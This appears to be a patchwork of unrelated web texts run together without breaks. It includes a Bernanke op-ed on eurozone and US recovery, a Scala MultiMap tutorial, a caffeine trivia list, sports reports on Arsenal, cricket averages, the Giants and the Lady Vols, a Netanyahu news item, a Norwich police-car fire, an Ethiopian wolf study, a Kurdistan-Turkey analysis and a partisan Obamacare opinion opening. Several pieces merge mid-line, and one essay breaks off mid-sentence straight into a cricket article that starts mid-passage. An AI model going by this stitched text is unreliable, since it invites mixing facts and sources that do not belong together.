Europe’s failure to employ monetary and fiscal policy aggressively after the financial crisis is a big reason that eurozone output is today about 0.8% below its precrisis peak. In contrast, the output of the U.S. economy is 8.9% above the earlier peak—an enormous difference in performance. In November 2010, when the Fed undertook its second round of quantitative easing, German Finance Minister Wolfgang Schäuble reportedly called the action “clueless.” At the time, the unemployment rates in Europe and the U.S. were 10.2% and 9.4%, respectively. Today the U.S. jobless rate is close to 5%, while the European rate has risen to 10.9%.
Six years after the Fed, the ECB has begun an aggressive program of quantitative easing, and European fiscal policy has become less restrictive. Given those policy shifts, it isn’t surprising that the European outlook appears to be improving, though it will take years to recover the growth lost over the past few years. Meanwhile, the United Kingdom is enjoying a solid recovery, in large part because the Bank of England pursued monetary policies similar to the Fed’s in both timing and relative magnitude.
It is encouraging to see that the U.S. economy is approaching full employment with low inflation, the goals for which the Fed has been striving. That certainly doesn’t mean all is well. Jobs are being created, but overall growth is modest, reflecting subpar gains in productivity and slow labor-force growth, among other factors. The benefits of growth aren’t shared equally, and as a result many Americans have seen little improvement in living standards. These, unfortunately, aren’t problems that the Fed has the power to alleviate.
With full employment in sight, further economic growth will have to come from the supply side, primarily from increases in productivity. That means that the Fed will continue to do what it can, but monetary policy can no longer be the only game in town. Fiscal-policy makers in Congress need to step up. As a country, we need to do more to improve worker skills, foster capital investment and support research and development. Monetary policy can accomplish a lot, but, as I often said as Fed chairman, it is no panacea. New efforts both inside and outside government will be essential to sustaining U.S. growth.
Editors Note: This op-ed first appeared in The Wall Street Journal on October 4, 2015.Bumble Bee II Starr Bumble Bee stored in Pima Air Museum, Tucson, AZ Role Record Breaker Manufacturer Homebuilt Designer Robert H. Starr First flight 8 May 1988 Number built 1 Unit cost Unknown
Bumble Bee II was the world's smallest piloted airplane. It was built by Robert H. Starr. Its first flight was on 8 May 1988.[1][not in citation given] The Bumble Bee II crashed on the same day due to an engine failure. Robert Starr was seriously injured in the crash, but he fully recovered from his injuries.[2]
Specifications [ edit ]
General characteristics
Crew: One
One Length: 8 ft 10 in (2.7 m)
8 ft 10 in (2.7 m) Wingspan: 5 ft 6 in (1.68 m)
5 ft 6 in (1.68 m) Height: ()
() Empty weight: 396 lb (180 kg)
396 lb (180 kg) Max. takeoff weight: 574 lb (260 kg)
574 lb (260 kg) Fuel capacity: 3 US gallons (11.35 litres)
3 US gallons (11.35 litres) Powerplant: 1 × Continental C85 4-cylinder air-cooled horizontally opposed piston engine, 85 hp (63 kW)
PerformanceThis post shows a couple of neat Scala tricks by implementing an immutable MultiMap.
A MultiMap is a special kind of Map: one that allows a collection of elements to be associated with each key, not just a single value. For this example, we will start by using Lists to contain the values, hence creating a ListMultiMap
Adding elements to a Map[A, List[B]]
Before writing any code we should ask ourselves: do we really need a ListMultiMap at all? Why wouldn’t a normal Map[A, List[B]] be sufficient?
Of course a Map[A, List[B]] can hold our data just fine, but adding a value can be cumbersome: when the key does not exist yet, a new List must be created – otherwise, our value needs to be added to the existing one. Let’s start by putting this code in a helper function:
[code language=”scala”]
def addBinding[A,B](map: Map[A, List[B]], key: A, value: B): Map[A, List[B]] =
map + (key -> { value :: map.getOrElse(key, Nil) })
[/code]
Type aliases
If you start using the pattern Map[A, List[B]] a lot, things might become a little more easy to ready by defining a type alias for it:
[code language=”scala”]
type ListMultiMap[A,B] = Map[A,List[B]]
def addBinding[A,B](map: ListMultiMap[A, B], key: A, value: B): ListMultiMap[A, B] =
map + (key -> { value :: map.getOrElse(key, Nil) })
[/code]
A type and its alias can be used pretty much interchangeably, there is no ‘hierarchy’: you can use a ListMultiMap[A,B] where a Map[A, List[B]] is expected and vice-versa.
Pimp My Library
While this helper function makes adding a single value to a MultiMap less painful, when doing multiple operations it does not look very pretty:
[code language=”scala”]
val original = Map(1 -> List(2, 3))
val intermediate = addBinding(original, 2, 5)
val result = addBinding(step1, 2, 6)
[/code]
To make this a bit easier to use, we can use the pimp my library pattern:
[code language=”scala”]
implicit class ListMultiMap[A,B](map: Map[A, List[B]]) {
def addBinding(key: A, value: B): ListMultiMap[A, B] =
map + (key -> { value :: map.getOrElse(key, Nil) })
}
val result = Map(1 -> List(2, 3))
.addBinding(2, 5)
.addBinding(2, 6)
[/code]
Because here the ListMultiMap[A,B] is defined as an implicit class, whenever you have a Map[A,List[B]] in your code and try to invoke addBinding, the Scala compiler will know how to perform the conversion from Map[A, List[B]] to ListMultiMap[A,B].
Optimization
Unfortunately, this means there is an overhead associated with using addBinding: every time it is used on a Map[A,List[B]] a new ListMultiMap[A,B] wrapper object is constructed. Luckily, we can remove this overhead by extending AnyVal, turning it into a value class:
[code language=”scala”]
implicit class ListMultiMap[A,B](val map: Map[A, List[B]]) extends AnyVal {
def addBinding(key: A, value: B): Map[A, List[B]] =
map + (key -> { value :: map.getOrElse(key, Nil) })
}
val result = Map(1 -> List(2, 3))
.addBinding(2, 5)
.addBinding(2, 6)
[/code]
This tells the compiler that the ListMultiMap class does not have any state of its own, and it can optimize out the overhead of creating a wrapper object.
Removing elements
Of course a map is not complete without a way to remove bindings, so:
[code language=”scala”]
implicit class ListMultiMap[A,B](val map: Map[A, List[B]]) extends AnyVal {
def addBinding(key: A, value: B): Map[A, List[B]] =
map + (key -> { value :: map.getOrElse(key, Nil) })
def removeBinding(key: A, value: B): ListMultiMap[A, B] = map.get(key) match {
case None => map
case Some(List( value )) => map – key
case Some(list) => map + (key -> list.diff(List(value)))
}
}
[/code]
Control when needed
Another advantage of the ‘pimp my library’ pattern over simply inheriting from Map is that the user can have control over the performance characteristics of the result by choosing a particular Map implementation.
This control can be extended further by allowing the user to also choose his List implementation. In fact, we can easily make our MultiMap generic over any immutable sequence:
[code language=”scala”]
implicit class MultiMap[A,B](val map: Map[A, Seq[B]]) extends AnyVal {
def addBinding(key: A, value: B, emptySeq: Seq[B] = Nil): Map[A, Seq[B]] =
map + (key -> { value +: map.getOrElse(key, emptySeq) })
}
[/code]
Being more generic
There’s still a lot of opportunity for making this implementation even more generic, for example by using the collection.MapLike trait and more precisely specifying the variance of the generic type parameters. Those, however, are topics that deserves a blogpost of their own.
In short
Using Scala features like type aliases and the ‘pimp my library’ pattern allows you to write supporting code that can remove distracting boilerplate from your actual program logic.Most of us have an intimate relationship with caffeine. We crave it, love it, and take it every day in coffee, tea and sodas. It feels quite familiar. But as I researched my book Caffeinated, I quickly learned that America’s favorite drug held surprises at every turn. Here are seven of them:
1) Coke used to have as much caffeine as Red Bull: For starters, consider energy drinks. Red Bull, Rockstar, Monster and other syrupy sweet, caffeinated drinks are suddenly everywhere. But there is really nothing new about them. As I read through the court papers from a 1911 trial pitting the federal government against Coca-Cola over the caffeine it blended into its products, I was surprised to learn that the early formulation for Coke was far more caffeinated than it is today. An eight-ounce serving had 80 milligrams of caffeine. This is the exact size and caffeine content of a modern Red Bull. Put another way, Coca-Cola pioneered the energy drink concept more than a century ago. The first Red Bull was a Coke.
2) Energy drinks still don’t have as much caffeine as Starbucks coffee: And then I ran into another popular misconception — the idea that these new energy drinks are super-caffeinated. Yes, they pack more of a caffeine punch than colas or teas, but rarely as much as coffee. It is hard to buy a coffee at Starbucks with less caffeine than a Red Bull (perhaps a single shot of espresso, or a mere four ounces of coffee). Even the popular 16-ounce Monsters and Rockstars — they supersize the Red Bull concept, doubling the size and the caffeine content — typically have about 160 milligrams of caffeine. That’s half the amount Starbucks estimates for a drip-brewed grandé.
3) We drink less coffee today, per person, than we did in the 1950s: So yes, we are drinking more energy drinks these days, but coffee culture still rules, right? We’ve got a Starbucks on every corner, it seems, and sometimes two, so we must be sipping more joe than ever. But here’s the weird thing — we drink less coffee than we did in 1950, a lot less. American coffee consumption peaked shortly after World War II, and then plummeted. Meanwhile, soft drinks became Americans’ favorite caffeinated beverages.
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4) Nonetheless, coffee still accounts for most of our caffeine intake: But even as we chug more gallons of caffeinated sodas than coffee, we get more of our caffeine from coffee. Because the caffeine is more concentrated in coffee, it still provides two-thirds of the caffeine in our diet. Soft drinks come in second, and tea is in third place.
5) Most tea today is iced: And what about that tea, anyway? Again, it’s the source of a lot of misunderstanding. We typically think of tea as something prepared in a cup, with hot water poured over a tea bag, and sipped hot. But that is an archaic notion. So here’s another little-known fact — iced tea now accounts for 85 percent of the tea consumed in the US. This includes not just the sweet tea that lubricates southern living, but also the fast-growing bottled teas, ranging from Brisk and Nestea to the upscale Honest Tea and Tazo brands.
6) It doesn’t take much to get hooked: Even as our preferences have shifted toward bottled sodas and teas, with their lower caffeine concentrations, research has shown that it does not take much caffeine to develop dependence. And here is another caffeinated surprise — as little as 100 milligrams of caffeine daily is enough to get an adult hooked. That’s about five to eight ounces of coffee, two bags of Lipton tea, or three cans of Coke. At this level of caffeine consumption, most people will experience some symptoms of caffeine withdrawal if they quit abruptly. Symptoms can include lethargy, no surprise, but also irritability and, especially, the classic caffeine withdrawal headache.
7) Caffeine is now being marketed as a hangover cure: Though caffeine can actually trigger headaches in some people, for most of us it is an effective headache therapy. It is bundled into a number of prescription migraine medications, and is a key ingredient in over-the-counter analgesics like Excedrin and Anacin. That’s not too surprising. What is surprising that it is now being marketed specifically to treat a dreaded malady — the hangover headache. For younger hangover sufferers, there are energy drinks like Monster Rehab and Rockstar Recovery, delivering a bit of morning-after caffeine. And Hangover Joe’s takes the basic energy shot formula and packages it for the over-served. Anacin is capitalizing on this with its trademarked slogan: “Great night. Rough morning. Better day.” A century ago, Coca-Cola’s ads read “Tired? Coca-Cola relieves fatigue.” The newer pitches for hangover remedies, like Anacin’s “Got Sharpied?” campaign, suggest caffeine is once again being viewed as a useful tonic.
However it is marketed, we, the coffee-chugging, soda-swilling, caffeine-addicted American public, are delighted to buy all of it, to feed our habit and treat our ills.
Murray Carpenter is the author of Caffeinated, How Our Daily Habit Helps, Hurts and Hooks Us, recently published by Hudson Street Press.
Contact us at editors@time.com.Mikel Arteta has said that he "would be very happy" to see Carlo Vela return to Arsenal next season, after the Real Sociedad forward proved to be a sensation in La Liga during the past campaign.
Recent reports in Spain claimed that the Gunners are set to meet Vela's €4m buy-back clause – either to have him back at the Emirates or to fund moves for new additions.
Arteta, who played at Real Sociedad before joining Everton, believes the Mexican international has proved to be ready for the Arsenal challenge and expects his return in the summer.
"Having seen his season at Real Sociedad I would be very happy to have him back as he is a great player," Arteta told IBTimes UK.
Even though Vela struggled during his first spell in north London, the forward himself recently reassured sceptics he was now a different player scoring 16 goals and grabbing 12 assists in 34 appearances for Real Sociedad in the season just ended.
"Arsenal gave me the opportunity to come to Europe when I was 17. I didn't have as many opportunities as I expected and I had to try new chances. If I have to return to London, I will try to make things in a different way in order so that happened in the past won't be repeated again.
Meanwhile, Arteta also expects Wenger to clarify his future at Arsenal by signing a new deal.
"(After the FA Cup final) people said he will stay. But he is very quiet. He takes care of Arsenal in a way that people cannot even imagine. He will take a decision thinking about what is best for the club. I wish him to stay," Arteta said.
"It will be very strange to see Arsenal without him. It will not be easy to find a person like him, but it's his decision."
Arteta's long-term future is also up in the air as his contract is set to expire in 2015 and he is yet to sign a new deal.
He says of his future: "I'll meet with the coach in the coming days or weeks and we will make a decision."
"We have to see what the club wants and which is my idea."Not too long ago, when you were exchanging pleasantries with friends or family, and the question of “how are you?” came up, the common answer was “fine”. Today, however, most people are likely to say “busy”. Why is that?
The answer is simple. In this day and age, most of us make it a point to overbook ourselves. Our work lives are filled with meetings, our family lives are filled with activities, and our social lives are filled with events. How often have you arrived at an event and stated: “I have three parties today, so I can only stay for an hour”. You fulfill your obligations in theory, yet you are never really there.
When is the last |
57.9 in Australia, facing McGrath, Warne, Lee and Gillespie at their most domineering. At home, he came mighty close to Bradman: an average of 87, with 21 50+ scores in 22 Tests. In New Zealand, he played 6 innings averaging 70.8, which included a 92 on a rainy first morning at Hamilton in 2004, followed up by a gritty 150* on a withering pitch with an actual hole in the middle, facing a 100-run deficit. In India, he played just four innings in 2004, brightening up his side's abject defeat with a 121 and then a second-innings 55 against a rampaging Harbhajan Singh at Kolkata.
Kallis is followed on the list by Ricky Ponting, a player most would argue was miles better than his peers when in his best form. Scarcely believable on home surfaces, he bettered Kallis with an average of 89 over 44 innings, including three double tons, and another 196 against England at the Gabba in 2006. In South Africa, he played just six innings, which included twin hundreds at Durban in a 112-run win, against a combination of Pollock, Ntini and Nel. His streak loses points in comparison to Kallis's however, as he played 44 innings at home (Kallis had 35), and averaged a paltry (by our current standards) 39.9 in England over nine innings, and 33 in Sri Lanka. He hardly played in India during this time (23 runs in two innings).
The best streak of Sobers began in 1958, when he was just 21, a year in which he averaged 155 over 12 innings. In the third innings in that run, he plundered a bruised Pakistan attack for his record 365*, and then went on to score three centuries in India, albeit against an attack of Ramchand, Umrigar and Borde that was of little challenge. Most strikingly, he averaged 69.6 in England over this period, crossing 50 eight times and 150 three times. His run was punctured by an underwhelming Pakistan tour of 1959, where he scored 160 runs over five dismissals.
A string of modern-day behemoths follows Sobers. Shiv Chanderpaul was a late bloomer, but his streak included averages of 56.6 in India, 82 in South Africa and 75 in England. His run was only brought down a meagre 187 runs over 8 innings in Australia and Sri Lanka. Sangakkara's numbers were inflated by an average of about 80 over 50 innings in Pakistan, UAE and Sri Lanka, all familiar conditions. Rahul Dravid's run from 2002 is amazing in the fact that he averages 71 away over 47 out of those 80 knocks, with average of 101 in England, 91 in Australia and 69 in the Caribbean.
Those attempting to account for Bradman's staggeringly high average offer the explanation that Bradman played in just two countries, against just four teams.
Those attempting to account for Bradman's staggeringly high average offer the explanation that Bradman played in just two countries, against just four teams. The preceding dissection of the best streaks of some other batsmen lends credence to this thesis: most batsmen have played in a wide variety of conditions, and playing in certain ones works to bring high averages down. Over more varied careers, averages are more prone to encountering normalising influences, while the averages in one or two countries might remain very high.
Here we have tried to examine how close some top batsmen came to emulating Bradman, granted the concession of choosing their best periods. The top player after him falls short of the Don by a whopping 25% in terms of batting average, and a bracket of high 60s to mid 70s seems the standard for the very top batsmen of the modern era, whose averages suffer in comparison, from playing in different conditions.
In Part 2, we will look at the application of the ‘Bradmanesque’ label from another angle: if we were to divide a career into streaks of Bradmanesque average, what portion of a career would a player truly be ‘Bradmanesque’?Denis McDonough stresses relations with Israel remain strong despite plan to address Congress and calls relationship ‘many faceted, deep and abiding’
White House chief of staff tries to defuse tension over Netanyahu trip to US
White House chief of staff Denis McDonough moved to defuse a dispute over Israeli prime minister Benjamin Netanyahu’s upcoming trip to Washington on Sunday, calling relationships between the two countries “many faceted, deep and abiding”.
Administration officials told Israel’s Haaretz last week Netanyahu had “spat” in Obama’s face by arranging with Republican House speaker John Boehner to speak before Congress in March without first informing the White House.
The comment “does not reflect the views of this president or this White House”, McDonough told CBS. He said the importance of the relationship meant it was “above partisan politics”.
McDonough appeared on all the US’s major morning politics shows on Sunday – a move known as “the full Ginsburg” after William Ginsburg, an attorney for Monica Lewinsky who first completed the circuit in 1998.
Democrats rally around Obama amid furore over Netanyahu Congress visit Read more
On ABC’s This Week, NBC’s Meet the Press, CBS’s Face the Nation, CNN’s State of the Union and Fox News Sunday, McDonough defended White House positions on Yemen, Isis and other issues, and was at pains throughout to stress that relations with Israel remained strong.
The relationship is “focused on a shared series of threats, but also, on a shared series of values that one particular instance is not going to inform overwhelming”, he told NBC.
Briefing his cabinet on Sunday, Netanyahu said: “In coming weeks, the powers are liable to reach a framework agreement with Iran, an agreement liable to leave Iran as a nuclear threshold state.
“As prime minister of Israel, I am obligated to make every effort to prevent Iran from getting nuclear weaponry that will be aimed at the state of Israel.”
The Israeli prime minister’s US visit will come shortly before Israel goes to the polls. He is expected to call on Congress to for tougher sanctions against Iran at a time when the US is trying to coordinate talks to secure a final comprehensive deal over Iranian nuclear programmes.
Netanyahu defends speech to Congress about threat of Iran nuclear deal Read more
The White House has said that the president on principle does not see heads of state or candidates in close proximity to their elections, in order to avoid the appearance of influencing elections in a foreign country.
“What we won’t allow us to do is for us to become an issue in their elections. That’s why the president was clear this week we should not meet with prime minister Netanyahu just two weeks before his elections,” McDonough told CBS.
Senator John McCain, the Republican chairman of the armed services committee, told the same show it was important that Netanyahu “speak to the American people”.
“Relations have never been worse between ourselves and the only genuine democracy in the entire Middle East,” he said.
He said Israel was convinced that US negotiations with Iran would ultimately lead to Iranian acquisition of a nuclear weapon, “which will then nuclearise the entire Middle East and that will then be a direct threat to the existence of the state of Israel”.Norwich Loses Entire Police Car Fleet to Fire
Norwich — The Norwich Police Department lost its entire fleet of police cruisers to a fire early yesterday morning. A preliminary review by a state arson investigator found that the blaze, which occurred in the parking lot behind the police station, was not suspicious.
Norwich Police Chief Doug Robinson received a call around 2:40 a.m. from dispatch telling him that it had received a 911 call saying that all three of the department’s police cruisers were on fire.
When Robinson reached the station around 3 a.m., the Fire Department was already battling the blaze.
Robinson said the total loss is worth at $100,000 and that he initially suspected that the fire was arson.
However, a state arson investigator and a member of the Vermont Division of Fire Safety came to the scene yesterday morning and made a preliminary determination that the fire was not intentional.
The arson investigator said the fire might have been a mechanical fire in the middle car that then radiated to the nearby vehicles, but the origin of the fire is undetermined, Robinson said.
“I don’t know. They’re the professionals,” the skeptical police chief said. “Until I hear otherwise, I have to go with what they say because they have the training to investigate fires. I don’t.”
Robinson stressed that the fire is still under investigation, however, and he appeared far from convinced that the cars hadn’t been targeted.
For now, the Hartford Police Department and Windsor County Sheriff have each given Norwich a cruiser on loan.
The cars were parked so that a 2010 Ford Explorer was next to one of two sedans. A second sedan sat two parking space away leaving about 10 feet between the two vehicles.
Robinson said that he was told that the fire could have started in the middle vehicle and then leapt to the other cars.
Not only did Norwich lose the department’s only three cruisers, but almost all the equipment inside of the cars was destroyed because of water and smoke damage. The department keeps mobile data sets, cameras, radios, first aid and AED equipment in the cruisers.
Since the three cars were insured, Robinson said he doesn’t expect to have to ask residents to allocate additional money through a special Town Meeting, but he said it could take more than a month before the department has its own set of cruisers again.
The cars were towed yesterday and placed behind the highway department so that the town’s insurance adjuster can examine the damage. All that was left at the scene yesterday afternoon were charred remains that had been swept to the end of the parking lot and a circle of foam left behind by firefighters. A red Vermont license plate could be made out, as well as a burned tire and a small length of silver pipe.
Inside the police station, a small ranch house that sits behind the fire station off Main Street, were black shoe prints from officers and firefighters that had trudged soot indoors. Two fire extinguishers sat on the floor next to a blue bag full of water safety gear and a green bag full of first aid equipment.
On a nearby table were handcuffs, tape and red flares that had been salvaged from inside the cars.
Robinson said that he had received several emails from Norwich residents and Selectboard members, and Town Manager Neil Fulton had stopped by in the early afternoon to check in on the department.
“Norwich is a very tight-knit community,” Robinson said. “They’re very passionate about things. And this is very invasive. They’re all appalled that this could happen.”
Cornelia Waterfall had been asleep in her apartment behind the police station when she was awoken by a terrible banging at her front door and multiple door bell rings. When the 83-year-old woman answered the door, she was greeted by a frantic neighbor who told her about the fire and said she was worried that it would spread to the Norwich Senior Housing where Waterfall lived.
Waterfall gathered her handbag, cell phone and jacket before heading outside, before she was told by a police officer that she should return remain inside because of the concern that ammunition in the cars could go off in the fire.
Waterfall added that she heard many loud popping noises that sounded like small explosions, and she could smell burning tires.
“It was a very dramatic fire because the flames were leaping very high,” Waterfall said. “It was like a wall of fire.”
Waterfall had a clear view of the fire because her glass screen door faced the department. She watched the scene for awhile before trying to go back to sleep.
However, she said she was so wide awake that she decided to crack enough pecans to make her second Thanksgiving pie.
Just like Robinson, Waterfall said she assumed the fire was arson.
“If it was really a mechanical problem that started the fire, it would be reassuring,” Waterfall said. “I certainly jumped to a different conclusion.”
Sarah Brubeck can be reached at sbrubeck@vnews.com or 603-727-3223.Harry Browne’s ideas on the Overseas Radio Network
So often flawed thinking gets in the way of us living the life we want, but how does our thinking trap us? The premier broadcast of the Stateless Man—a pro-liberty show on the Overseas Radio Network—addresses just that question.
Glenn Cripe, founder of the Language of Liberty Institute, joined me as we digested the perspectives of Harry Browne and his book, How I Found Freedom in an Unfree World. (For those short on time, here is a tight summary of the book.) Although passed away now, Browne was an inspirational libertarian thinker and twice the Libertarian party’s nominee for president, in 1996 and 2000.
Click below to hear the first hour of the program (41 minutes, with news breaks and ads edited out—mp3).
[audio:http://bit.ly/wQ6bBO|titles=Edited-Stateless Man-08 Jan 2012-Part1]
The Stateless Man show began this month, available free to air, and broadcasts live each Wednesday from 6 to 8pm.Through a rare mixed-species association observed between a carnivorous predator and a potential prey, Dartmouth-led research has identified that solitary Ethiopian wolves will forage for rodents among grazing gelada monkey herds. Through consistent non-threatening behavior, the Ethiopian wolves have habituated gelada herds to their presence, foregoing opportunities to attack the juvenile geladas in order to better capture the rodents.
Gelada monkeys are a close relative of baboons. As grazing primates, they eat grass and some herbs. They live in large herds, between 200-1000 individuals. Ethiopian wolves are the rarest canids in the world, with only between 300-500 individuals remaining in the wild. These wolves are rodent specialists. Both geladas and Ethiopian wolves are endangered and endemic to the Ethiopian highlands.
Through extensive data collection from all-day follows on the Guassa Plateau in north central Ethiopia from 2006 to 2011, researchers studied a band of approximately 200 gelada monkeys, who regularly associate with the wolves living in the area.
According to the study's findings, gelada monkeys would not typically move upon encountering Ethiopian wolves, even when they were in the middle of the herd -- 68 percent of encounters resulted in no movement and only 11 percent resulted in a movement of greater than 10 meters. In stark contrast, the geladas always fled great distances to the cliffs for safety whenever they encountered aggressive domestic dogs.
The Ethiopian wolves experienced a foraging advantage on subterranean rodents when among the gelada monkeys -- Ethiopian wolves foraged successfully in 66.7 percent of attempts among the gelada monkeys v. a success rate of only 25 percent when wolves foraged by themselves. The success rate may be attributed to the rodents being flushed out by the monkey herd, which disturb the vegetation as they graze or to what may be a diminished ability for the rodents to detect predators due to a visual or auditory interference posed by the grazing monkeys.
The Ethiopian wolves' role as foraging commensals to the gelada monkeys reveals what may be an adaptive strategy within a broader complex set of community dynamics.New York Giants coach Ben McAdoo and general manager Jerry Reese were each relieved of their duties Monday morning following a week of backlash in response to the benching of quarterback Eli Manning.
Of course, McAdoo and Reese were fired primarily because of the Giants’ 2-10 record, but the outrage from fans regarding decisions made in the past week seemed to be the final straw.
When the Giants announced the decision to bench Manning last Tuesday, the NFL world went into complete shock. Players, both former and current, as well as coaches went to bat for Manning, whom many viewed as the scapegoat for McAdoo’s struggles.
Not even 24 hours after the Giants’ 24-17 loss to the Oakland Raiders, McAdoo found himself without a job.
With defensive coordinator Steve Spagnuolo serving as interim head coach for the Giants, Jordan Raanan of ESPN reports that Manning is expected to return to his role as the starting quarterback.
The Giants are expected to go back to Eli Manning as their starting quarterback, per source. Giants play at home vs Cowboys this week. — Jordan Raanan (@JordanRaanan) December 4, 2017
Yet, according to Raanan, there are still people in East Rutherford that believe Manning is at the end of his career.
Also told that some people in Giants personnel department had been lobbying for Manning’s departure a year ago. Thought best years were way behind him — Greg Gabriel (@greggabe) December 4, 2017
More than a few people in that building think Eli is done or close to done. #Giants https://t.co/BQnf3fXo6e — Jordan Raanan (@JordanRaanan) December 4, 2017
Though McAdoo and Reese were fired in wake of the mess created by Manning’s benching, there are now reports that Ben and Jerry were far from the only members of the Giants coaching staff that pushed for the team to move on from Manning.
It still remains a possibility that Davis Webb could earn reps at quarterback for the Giants as the season progresses. It would be surprising for Spagnuolo to call Geno Smith’s number after his underwhelming performance in Week 13.
Based on ESPN’s recent report, Manning will be under center against the Dallas Cowboys on Sunday. But simply firing McAdoo and Reese will not solve the problem that exists for the Giants at quarterback.
With Big Blue expected to hold a high pick in a draft stacked with quarterback talent next spring, Webb sitting on the bench and Manning hoping to play football next season, the future is murky for the Giants when it comes to the quarterback position.espnW bracketologist Charlie Creme discusses the impact of Tennessee falling out of the AP poll for the first time since 1985 and why the team needs to find an identity. (2:42)
Tennessee's 31-year run in the Top 25 is over.
The Lady Vols' streak of 565 consecutive weeks in The Associated Press women's basketball poll ended Monday as Tennessee fell out of the Top 25. The streak started on Feb. 17, 1985.
With two losses in the past week, Diamond DeShields and Tennessee fall out of the AP poll for the first time since 1985. Tim Gangloff/CSM/AP Images
"It's really an amazing streak and a tribute to all of the players and coaches who've contributed to the Lady Vols' rich tradition of excellence,'' Tennessee coach Holly Warlick said. "The results this season haven't been what we wanted, but I assure you my staff and I are working extremely hard to ensure that our players reach their potential and, in turn, help our program attain the level of success we expect at Tennessee.''
Tennessee (16-11) had been teetering on the edge of the poll the past few weeks and finally dropped out after losing two of its three games last week. With the Lady Vols out, UConn now has the longest active streak. The Huskies, who remain No. 1 in the poll this week, have been ranked for 428 consecutive weeks. It would take them roughly seven more years to match Tennessee's record.
"It's very impressive,'' said Tamika Catchings, who starred for the Lady Vols from 1997-2001. "That's huge. Like anything else, streaks come to an end at some point and time. Thirty-one years, that's amazing. To be a part of it was really awesome. Highs and lows. Unfortunately they are going through a little low right now, but it will get better.''
During that 31-year run, the Lady Vols had been ranked No. 1 103 times. They were in the top five for 407 weeks and in the top 10 506 times. Since the poll began in 1976, Tennessee had only been left off it for a total of 15 weeks before Monday. The Lady Vols were not in the first poll, then missed four weeks in 1981-82. They also had a 10-week gap in 1984-85.
While the Lady Vols fell out, UConn continued its run at No. 1. The Huskies cruised through two more easy victories. They host SMU on Wednesday and then Tulane on Saturday. This was the 200th week overall that UConn has been No. 1 in the poll.
"I think it's a reflection of the players we've had and the consistency,'' UConn coach Geno Auriemma said. "That's what I'm most happy with. It's been going for a long time and you look around the country and realize how difficult it is to sustain this. It's not as easy as people think sometimes.''
The Huskies were followed by Notre Dame, South Carolina, Baylor and Ohio State.
Colorado State entered the Top 25 for the first time since 2002. The Rams have won 21 straight games. Missouri also came back into the poll while Florida fell out.The ties that now bind the Kurdistan Regional Government (KRG) and Ankara are a welcome reprieve after decades of tension that destabilized the region and stunted economic growth. Alongside generous revenues from Baghdad and KRG pragmatism, Turkey has been a catalyst in rebuilding the Kurdistan Region of Iraq to a level unimagined just five years ago. Economic development has led to political cooperation and mutual commitments to regional security.
Yet, as the Kurdistan Region moves deeper into Ankara’s orbit and away from Baghdad, particularly in developing its energy sector, some Kurdish populations worry that the KRG is substituting one form of dependency for another. These concerns are emerging alongside uneven economic development in the region and proxy wars in Syria. They are also feeding criticism of KRG policies, intra-Kurdish party struggles and nationalist sentiments within the Kurdistan Region and across its borders.
Indeed, since the creation of a federal Iraqi state, Kurdish officials have sought a commercial partnership with Turkey. In 2007, Nowsherwan Mustafa, now head of the Change Movement (Goran), requested that Ankara “invade Iraqi Kurdistan with its businesses and not tanks” while also reaching out to Turkmen populations in Kirkuk. KRG business-friendly laws and opportunities for Turkish investment have been relatively successful. Today, in 2013, more than half (about 1,150) of the foreign companies in the Kurdistan Region are Turkish. Turkey also is helping to modernize the region’s socio-cultural milieu. Turkish music, clothes, educational institutions and food products allow Kurdish consumers access to better-quality goods and services that are helping to improve the quality of life, at least for some.
Yet, these trends also are having unintended consequences on local nationalist communities, some of whom are increasingly aware of the rapid and uneven nature of the region’s economic development and its perceived threats to Kurdish culture. In criticizing the absence of anything Kurdish and most things Turkish in the local markets, one Kurdish professional in Erbil opined, “We are becoming a banana republic for Turkey.” Other young professionals from Dohuk province — the relatively wealthy Iraqi Kurdish–Turkish border area and stronghold of the Barzani family — have indicated that for them “things are going too far.” One specific criticism is of a new Turkish restaurant whose menu is only in the Turkish language.
Fueling this concern of the Turkification of the Kurdistan Region are the KRG’s energy sector development plans. As oil becomes the KRG’s strategic product, the KRG may find itself increasingly vulnerable to Ankara’s political will, particularly if it relies solely on Turkey as an energy transit route. The absence of alternative export routes and infrastructure — neither Iran nor Syria are viable options anytime in the near future — and overreliance on oil as a revenue source (about 95% of the KRG budget) compound this vulnerability. Instead of increasing Kurdish autonomy by circumventing Baghdad with “independent oil exports,” the Kurdistan Region could effectively become less autonomous as an economic vassal state of Turkey.
True, given its landlocked position, the Kurdistan Region depends on regional states, particularly Turkey, for its political and economic survival. Ankara’s role as the lifeline to the KRG was affirmed during the 1990s double embargo against the region, as lucrative profits from the oil-for-food smuggling operation at the Iraqi Kurdish–Turkish border represented about 85% of the KRG’s revenues. Turkey also is considered by some KRG leaders and populations a more dependable partner than Baghdad, particularly since it has vested interests in the KRG energy sector and needs cheap Kurdish oil and gas to help meet its rising energy demands. In fact, Turkey has much to gain from Iraqi Kurdish ambitions. At least from a financial perspective, it is unlikely that Ankara or its associated businesses would undermine this relationship given the economic stakes involved.
Still, dependency on Turkey as a sole energy-export route may give the Kurdistan Region less room to maneuver politically, particularly if Erbil’s policy choices or alliances challenge Ankara or if relations sour with Turkey in the future. Even though Turkey can benefit from cheap Kurdish hydrocarbons, this demand would represent a fraction of Ankara’s total energy imports while representing the entirety of the KRG’s exports and revenues. This dependent relationship could undermine the relatively extensive internal sovereignty and foreign policy autonomy the KRG has realized since 2003, despite the difficulties in dealing with the government of Iraqi Prime Minister Nouri al-Maliki.
These trends are unlikely to alter the Erbil-Ankara alliance or the Iraqi Kurdish energy calculus, particularly as long as the KRG and Baghdad fail to resolve their resource and revenue-sharing disputes. Yet, they pose additional challenges to the KRG’s drive for autonomy and stability via Turkey by enhancing the gap between Kurdish economic and political aims and between KRG elites and local populations. Further, Turkey’s influence in the Kurdistan Region is occurring alongside a Kurdistan Workers Party-led Kurdish nationalist agenda in Syria, an unresolved Kurdish problem in Turkey and attempts to check Massoud Barzani's power. Unless reconciled with Kurdish nationalist claims, it will continue to magnify divisions between Kurdish nationalists willing to be led by Turkey and those seeking to check Ankara’s influence.
Denise Natali holds the Minerva Chair at the Institute for National Strategic Studies, National Defense University, where she specializes in Iraq, regional energy issues and the Kurdish problem. The views expressed are her own and do not reflect the official policy or position of the National Defense University, the Department of Defense or the US government.At this point, everyone understands that President Obama and his fellow Democrats (including most if not all of the Democratic Senators who are up for re-election next year) lied when they told us that if we like our health care plan, we can keep it. That was only one of a number of lies that were used to sell Obamacare: the average family will save $2,500 annually; if you like your doctor, you can keep your doctor, Obamacare will mitigate the budget deficit, and so on. But why? What was the end toward which this epic deception was the means?
